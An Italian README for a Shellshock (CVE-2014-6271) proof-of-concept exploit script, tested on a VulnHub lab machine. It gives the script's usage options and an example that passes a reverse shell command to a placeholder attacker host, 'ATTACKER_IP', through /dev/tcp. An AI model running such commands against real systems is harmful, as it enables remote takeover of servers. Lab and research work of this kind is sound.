
CVE-2014-6271 Exploit | di infrar3d
xpl0ited da infrar3d
Questo repository contiene un exploit proof-of-concept per CVE-2014-6271 (Shellshock).
Shellshock è una vulnerabilità critica in GNU Bash in cui variabili d'ambiente appositamente create consentono l'esecuzione arbitraria di comandi.
Quando un server web passa le intestazioni HTTP a script CGI che invocano Bash, un attaccante può iniettare comandi tramite tali intestazioni.
./shellshock_exp.sh -h
shellshock_exp.sh [options]
Options:
-h | --help print this message and exit
-a | --address target address (default is "localhost")
-p | --port target port (default is 80)
-f | --file target file (default is "/cgi-bin/shell.sh")
-c | --command command to execute on the target machine (default is "id")
./shellshock_exp.sh -a 192.168.1.10
./shellshock_exp.sh -a 192.168.1.10 -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
(testato sulla macchina VulnHub "Hacksudo - Thor")
Questo software e il codice proof-of-concept sono forniti solo per scopi educativi e di ricerca.
Sei responsabile del rispetto di tutte le leggi applicabili. Fai un uso etico e responsabile.